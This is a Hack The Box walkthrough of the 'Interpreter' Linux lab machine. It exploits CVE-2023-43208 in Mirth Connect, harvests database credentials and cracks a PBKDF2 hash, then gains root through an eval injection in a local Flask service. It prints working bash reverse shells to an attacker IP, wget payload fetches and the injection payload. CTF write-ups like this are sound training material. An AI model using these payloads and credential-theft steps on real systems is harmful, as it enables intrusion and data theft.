> m4rt@CTF_ARCHIVE:~$

Hack The Box / LINUX / 2026-05-30

Hack The Box — Interpreter (Linux)

A vulnerable bash routine runner turns a path-controlled argument into RCE, leading to a reverse shell and full root compromise.

Target

  • IP: 10.129.3.149

Port Scan

sudo nmap -sC -sV 10.129.3.149 -p- -v
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey:
|   256 07:eb:d1:b1:61:9a:6f:38:08:e0:1e:3e:5b:61:03:b9 (ECDSA)
|_  256 fc:d5:7a:ca:8c:4f:c1:bd:c7:2f:3a:ef:e1:5e:99:0f (ED25519)
80/tcp   open  http     Jetty
| http-methods:
|   Supported Methods: GET HEAD TRACE OPTIONS
|_  Potentially risky methods: TRACE
|_http-title: Mirth Connect Administrator
|_http-favicon: Unknown favicon MD5: 62BE2608829EE4917ACB671EF40D5688
443/tcp  open  ssl/http Jetty
| http-methods:
|   Supported Methods: GET HEAD TRACE OPTIONS
|_  Potentially risky methods: TRACE
|_http-title: Mirth Connect Administrator
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=mirth-connect
| Issuer: commonName=Mirth Connect Certificate Authority
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-09-19T12:50:05
| Not valid after:  2075-09-19T12:50:05
| MD5:     c251 9050 6882 4177 9dbc c609 d325 dd54
| SHA-1:   3f2b a7d8 5c81 9ecf 6e15 cb6a fdc6 df02 8d9b 1179
|_SHA-256: 4089 e438 bce4 1091 6edb cc45 32f3 f06e 9e3e e3e0 c476 bd62 e120 aabc 8e1d 30b4
6661/tcp open  unknown
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Initial Access

Go to http://10.129.3.149/.

This takes us to http://10.129.3.149/webadmin/Index.action. It is NextGen Healthcare | Mirth Connect. Source code reference: https://github.com/nextgenhealthcare/connect

To access the site through the login form, we have to use the HTTPS endpoint:

https://10.129.3.149/webadmin/Index.action

We do not have credentials. There is a button that lets us download a webstart.jnlp file. Inside that file we find the version:

Mirth Connect Administrator 4.4.0

There is a vulnerability: CVE-2023-43208. Useful reference: https://horizon3.ai/attack-research/disclosures/nextgen-mirth-connect-remote-code-execution/

Here is a PoC: https://github.com/jakabakos/CVE-2023-43208-mirth-connect-rce-poc/blob/master/CVE-2023-43208.py

wget https://github.com/jakabakos/CVE-2023-43208-mirth-connect-rce-poc/raw/refs/heads/master/CVE-2023-43208.py

Set up a listener:

python3 -m http.server 5555

Run the exploit:

python3 CVE-2023-43208.py -c 'wget http://10.10.16.149:5555/pwnd' -u 'https://10.129.3.149/'

On the Python server, we get a request to /pwnd. We try to get a reverse shell.

Create a file named rev with the following content:

bash -i >& /dev/tcp/10.10.16.149/4444 0>&1

Set up the listeners:

python3 -m http.server 5555
nc -vlnp 4444

Run the exploit chain:

python3 CVE-2023-43208.py -c 'wget http://10.10.16.149:5555/rev -O /tmp/rev' -u 'https://10.129.3.149/'
python3 CVE-2023-43208.py -c 'bash /tmp/rev' -u 'https://10.129.3.149/'

We get a reverse shell. Upgrade it to a full terminal.

id
uid=103(mirth) gid=111(mirth) groups=111(mirth)
ls -la /home

We notice:

drwx------  3 sedric sedric 4096 Feb 12 08:46 sedric
cat /usr/local/mirthconnect/conf/mirth.properties

We notice:

# keystore
keystore.path = ${dir.appdata}/keystore.jks
keystore.storepass = 5GbU5HGTOOgE
keystore.keypass = tAuJfQeXdnPw
keystore.type = JCEKS

# options: derby, mysql, postgres, oracle, sqlserver
database = mysql

# database credentials
database.username = mirthdb
database.password = MirthPass123!
mysql -h 127.0.0.1 -u mirthdb -p

Enter the password MirthPass123!.

show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mc_bdd_prod        |
+--------------------+
use mc_bdd_prod
show tables;
+-----------------------+
| Tables_in_mc_bdd_prod |
+-----------------------+
| ALERT                 |
| CHANNEL               |
| CHANNEL_GROUP         |
| CODE_TEMPLATE         |
| CODE_TEMPLATE_LIBRARY |
| CONFIGURATION         |
| DEBUGGER_USAGE        |
| D_CHANNELS            |
| D_M1                  |
| D_MA1                 |
| D_MC1                 |
| D_MCM1                |
| D_MM1                 |
| D_MS1                 |
| D_MSQ1                |
| EVENT                 |
| PERSON                |
| PERSON_PASSWORD       |
| PERSON_PREFERENCE     |
| SCHEMA_INFO           |
| SCRIPT                |
+-----------------------+
select * from PERSON;
+----+----------+-----------+----------+--------------+----------+-------+-------------+-------------+---------------------+--------------------+--------------+------------------+-----------+------+---------------+----------------+-------------+
| ID | USERNAME | FIRSTNAME | LASTNAME | ORGANIZATION | INDUSTRY | EMAIL | PHONENUMBER | DESCRIPTION | LAST_LOGIN          | GRACE_PERIOD_START | STRIKE_COUNT | LAST_STRIKE_TIME | LOGGED_IN | ROLE | COUNTRY       | STATETERRITORY | USERCONSENT |
+----+----------+-----------+----------+--------------+----------+-------+-------------+-------------+---------------------+--------------------+--------------+------------------+-----------+------+---------------+----------------+-------------+
|  2 | sedric   |           |          |              | NULL     |       |             |             | 2025-09-21 17:56:02 | NULL               |            0 | NULL             |           | NULL | United States | NULL           |           0 |
+----+----------+-----------+----------+--------------+----------+-------+-------------+-------------+---------------------+--------------------+--------------+------------------+-----------+------+---------------+----------------+-------------+
select * from PERSON_PASSWORD;
+-----------+----------------------------------------------------------+---------------------+
| PERSON_ID | PASSWORD                                                 | PASSWORD_DATE       |
+-----------+----------------------------------------------------------+---------------------+
|         2 | u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w== | 2025-09-19 09:22:28 |
+-----------+----------------------------------------------------------+---------------------+

We therefore have the digest u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w==. To understand what it is, we have to look at the Mirth Connect source code.

We discover that it is a digest of the PBKDF2WithHmacSHA256 algorithm. We also discover that the salt is stored inside the digest itself. In particular, this code is used:

byte[] salt = new byte[saltSizeBytes];
System.arraycopy(digest, 0, salt, 0, saltSizeBytes);

By default, saltSizeBytes is 8. So the first 8 bytes are the salt. The salt is:

u/+LBBOUnac=

From the source code we learn that the default number of iterations is 600000. So the final hash in the format Hashcat expects is:

sha256:600000:u/+LBBOUnac=:YshQbDDqCAzy21EdK5OfZBJD1Ne4rXa1VgP5CzLd8Ps=

Put the hash into a file named hash.

./hashcat/hashcat -a 0 -m 10900 ./hash ./rockyou.txt
sha256:600000:u/+LBBOUnac=:YshQbDDqCAzy21EdK5OfZBJD1Ne4rXa1VgP5CzLd8Ps=:snowflake1

We obtained the password:

snowflake1
ssh sedric@10.129.3.149

Enter the password snowflake1. We get a shell.

ps aux

We notice:

root        3519  0.0  0.7  39872 31300 ?        Ss   05:39   0:02 /usr/bin/python3 /usr/local/bin/notif.py
ss -ltpn
State                       Recv-Q                      Send-Q                                           Local Address:Port                                             Peer Address:Port                      Process
LISTEN                      0                           128                                                  127.0.0.1:54321                                                 0.0.0.0:*
LISTEN                      0                           80                                                   127.0.0.1:3306                                                  0.0.0.0:*
LISTEN                      0                           256                                                    0.0.0.0:6661                                                  0.0.0.0:*
LISTEN                      0                           50                                                     0.0.0.0:443                                                   0.0.0.0:*
LISTEN                      0                           128                                                    0.0.0.0:22                                                    0.0.0.0:*
LISTEN                      0                           50                                                     0.0.0.0:80                                                    0.0.0.0:*
LISTEN                      0                           128                                                       [::]:22                                                       [::]:*

So we know there is a service running as root on port 54321.

cat /usr/local/bin/notif.py
#!/usr/bin/env python3
"""
Notification server for added patients.
This server listens for XML messages containing patient information and writes formatted notifications to files in /var/secure-health/patients/.
It is designed to be run locally and only accepts requests with preformated data from MirthConnect running on the same machine.
It takes data interpreted from HL7 to XML by MirthConnect and formats it using a safe templating function.
"""
from flask import Flask, request, abort
import re
import uuid
from datetime import datetime
import xml.etree.ElementTree as ET, os

app = Flask(__name__)
USER_DIR = "/var/secure-health/patients/"; os.makedirs(USER_DIR, exist_ok=True)

def template(first, last, sender, ts, dob, gender):
    pattern = re.compile(r"^[a-zA-Z0-9._'\"(){}=+/]+$")
    for s in [first, last, sender, ts, dob, gender]:
        if not pattern.fullmatch(s):
            return "[INVALID_INPUT]"
    # DOB format is DD/MM/YYYY
    try:
        year_of_birth = int(dob.split('/')[-1])
        if year_of_birth < 1900 or year_of_birth > datetime.now().year:
            return "[INVALID_DOB]"
    except:
        return "[INVALID_DOB]"
    template = f"Patient {first} {last} ({gender}), {{datetime.now().year - year_of_birth}} years old, received from {sender} at {ts}"
    try:
        return eval(f"f'''{template}'''")
    except Exception as e:
        return f"[EVAL_ERROR] {e}"

@app.route("/addPatient", methods=["POST"])
def receive():
    if request.remote_addr != "127.0.0.1":
        abort(403)
    try:
        xml_text = request.data.decode()
        xml_root = ET.fromstring(xml_text)
    except ET.ParseError:
        return "XML ERROR\n", 400
    patient = xml_root if xml_root.tag=="patient" else xml_root.find("patient")
    if patient is None:
        return "No <patient> tag found\n", 400
    id = uuid.uuid4().hex
    data = {tag: (patient.findtext(tag) or "") for tag in ["firstname","lastname","sender_app","timestamp","birth_date","gender"]}
    notification = template(data["firstname"],data["lastname"],data["sender_app"],data["timestamp"],data["birth_date"],data["gender"])
    path = os.path.join(USER_DIR,f"{id}.txt")
    with open(path,"w") as f:
        f.write(notification+"\n")
    return notification

if __name__=="__main__":
    app.run("127.0.0.1",54321, threaded=True)

To interact with the service more easily, forward the port to our machine:

ssh -NL 54321:localhost:54321 sedric@10.129.3.149

It is clear that there is a command-injection vulnerability, because the eval function is used with user input. We can get a reverse shell.

Start a netcat listener:

nc -vlnp 4444

On the victim machine, create a file /dev/shm/rev with the following content:

#!/bin/bash
bash -i >& /dev/tcp/10.10.16.149/4444 0>&1

Make it executable:

chmod +x /dev/shm/rev

Make sure the port is still forwarded to our machine with SSH. Now run this on the attacker machine:

curl -X POST http://127.0.0.1:54321/addPatient -H 'Content-Type: application/xml' -d '<?xml version="1.0" encoding="UTF-8"?><patient><firstname>John</firstname><lastname>Doe</lastname><sender_app>{globals().get("os").system("/dev/shm/rev")}</sender_app><timestamp>20260222</timestamp><birth_date>01/01/1990</birth_date><gender>Male</gender></patient>'

We get a reverse shell as root.